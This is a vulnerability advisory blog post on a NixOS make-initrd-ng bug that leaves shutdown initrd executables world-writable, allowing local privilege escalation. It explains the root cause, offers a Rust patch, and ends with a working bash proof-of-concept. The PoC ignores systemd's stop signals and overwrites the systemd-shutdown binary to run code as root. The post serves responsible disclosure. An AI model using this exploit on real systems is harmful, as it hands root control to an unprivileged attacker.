LPE via incorrect file permissions due to `make-initrd-ng`

3 minute read Published: 2025-04-13

Upstream advisory: GHSA-m7pq-h9p4-8rr4
See also: my main blog post

Impact

An unprivileged process with filesystem access can become root during system shutdown (including reboot, hibernate, kexec, etc).

Exploitation is straightforward and reliable (it does not rely on timing or probabilistic factors).
Upon successful exploitation, an attacker has full access over the local system.

Scope

All standard NixOS configurations that use make-initrd-ng with systemd.shutdownRamfs.enable = true (since the bug was introduced in 2022-05-01, e5995b22353d003cf2c3b32143ff996b14cbbb62).

If systemd.shutdownRamfs.enable is false, this specific vulnerability is not exploitable (though the underlying bug may still be exploitable another way, such as via the boot initrd).

Root Cause

The root cause of this vulnerability is a bug in make-initrd-ng, introduced in nixpkgs commit e5995b22353d003cf2c3b32143ff996b14cbbb62.

The make-initrd-ng program erroneously changes each ELF to be world-writable. These permissions are never reverted, and thus the resulting initrd images have world-writable executables as well.

Note that the file permissions are changed even if stripping is disabled.

This opens up three potential attack vectors:

  1. modification of the initrd while it is being built
  2. modification of the executables during early (stage 1) boot
  3. modification of the executables during shutdown

My analysis thus far, in order:

  1. I am not familiar enough with NixOS to determine whether attack vector 1 is viable or whether it would pose a significant threat.
  2. I do not see an obvious way to exploit this, as stage 1 boot usually does not involve untrusted processes.
  3. This is the attack vector I have investigated in this report.

Vulnerability Details

During system shutdown, make-initrd-ng is called via generate-shutdown-ramfs.service to populate /run/initramfs with the contents of the "exitrd".
(for clarity: "system shutdown" includes poweroff, reboot, halt, and kexec; see man 7 bootup for details)

Due to a bug in make-initrd-ng, all executables in the "exitrd" are made world-writable.

This enables any attacker-controlled process with access to the /run/initramfs directory to overwrite the /run/initramfs/shutdown executable with their own payload.

Although systemd sends exit signals to all processes during shutdown, these signals can be ignored, allowing the attacker to wait for make-initrd-ng to complete so they can install their payload.

After final.target is reached (which involves waiting for any lingering processes to exit), systemd will switch_root into /run/initramfs and transfer control to /run/initramfs/shutdown.

At this point, the attacker has gained full root capabilities on the local system, including:

Patch

I have drafted the following patch which should fix the underlying bug and thus mitigate all three potential attack vectors:

From 29e101cfbe9ef2fca38a609689052bd4506708af Mon Sep 17 00:00:00 2001
From: sudoBash418 <sudoBash418@gmail.com>
Date: Sat, 29 Mar 2025 22:50:50 -0600
Subject: make-initrd-ng: Restore stripped file permissions

Previously, all initrd ELFs would be made *world-writable*.

This commit sets the write bit for the file owner exclusively, and
restores the original file permissions after processing each
ELF, so that the initrd contains the intended file permissions.

diff --git a/pkgs/build-support/kernel/make-initrd-ng/src/main.rs b/pkgs/build-support/kernel/make-initrd-ng/src/main.rs
index 934c2faebed8..0187931e3019 100644
--- a/pkgs/build-support/kernel/make-initrd-ng/src/main.rs
+++ b/pkgs/build-support/kernel/make-initrd-ng/src/main.rs
@@ -188,12 +188,11 @@ fn copy_file<
         add_dependencies(source, e, &contents, &dlopen, queue)?;
 
         // Make file writable to strip it
-        let mut permissions = fs::metadata(&target)
+        let original_permissions = fs::metadata(&target)
             .wrap_err_with(|| format!("failed to get metadata for {:?}", target))?
             .permissions();
-        permissions.set_readonly(false);
-        fs::set_permissions(&target, permissions)
-            .wrap_err_with(|| format!("failed to set readonly flag to false for {:?}", target))?;
+        fs::set_permissions(&target, unix::fs::PermissionsExt::from_mode(0o600))
+            .wrap_err_with(|| format!("failed to set read-write permissions for {:?}", target))?;
 
         // Strip further than normal
         if let Ok(strip) = env::var("STRIP") {
@@ -207,6 +206,10 @@ fn copy_file<
                 println!("{:?} was not successfully stripped.", OsStr::new(&target));
             }
         }
+
+        // Restore original permissions
+        fs::set_permissions(&target, original_permissions)
+            .wrap_err_with(|| format!("failed to restore permissions for {:?}", target))?;
     };
 
     Ok(())
-- 
2.49.0

Proof-of-concept Exploit

I have written a simple proof-of-concept exploit to demonstrate the vulnerability.

  1. First, login to a NixOS machine as an unprivileged user, and save the script below as poc.sh
  2. Run bash poc.sh & disown to start the script as a detached process and (optionally) logout
  3. Reboot or poweroff the machine as normal
  4. The shutdown sequence should end with a message on the virtual terminal, demonstrating that the payload execution was successful (tested in QEMU)
#!/usr/bin/env bash

# usage: run this script via `bash poc.sh & disown` as any unprivileged user

# ignore signals to prevent systemd from killing us
trap -- '' SIGQUIT SIGHUP SIGINT SIGTERM SIGUSR1 SIGUSR2 SIGPIPE

# wait for generate-shutdown-ramfs.service to start
while [[ ! -f /run/initramfs/shutdown ]]; do
	sleep 0.1
done

# wait for generate-shutdown-ramfs.service to exit
while systemctl is-active -q generate-shutdown-ramfs.service; do
	sleep 0.1
done

# find bash for our payload
bash_path="$(find /run/initramfs/nix/store -maxdepth 1 -type d -name '*-bash-*' | head -n1)"
bash_path="${bash_path#/run/initramfs}"/bin/bash

# find coreutils for our payload
coreutils_path="$(find /run/initramfs/nix/store -maxdepth 1 -type d -name '*-coreutils-*' | head -n1)"
coreutils_path="${coreutils_path#/run/initramfs}"/bin

# read systemd-shutdown path
target="$(readlink -n /run/initramfs/shutdown)"

# overwrite systemd-shutdown executable with our payload
cat <<EOF > /run/initramfs/"$target"
#!${bash_path}

export PATH="\$PATH:${coreutils_path}"

# show our banner
echo "!!! systemd-shutdown takeover successful: \$(id) !!!"

echo "sleeping for 15 seconds..."
sleep 15

# kernel panic by exiting from PID 1
exit
EOF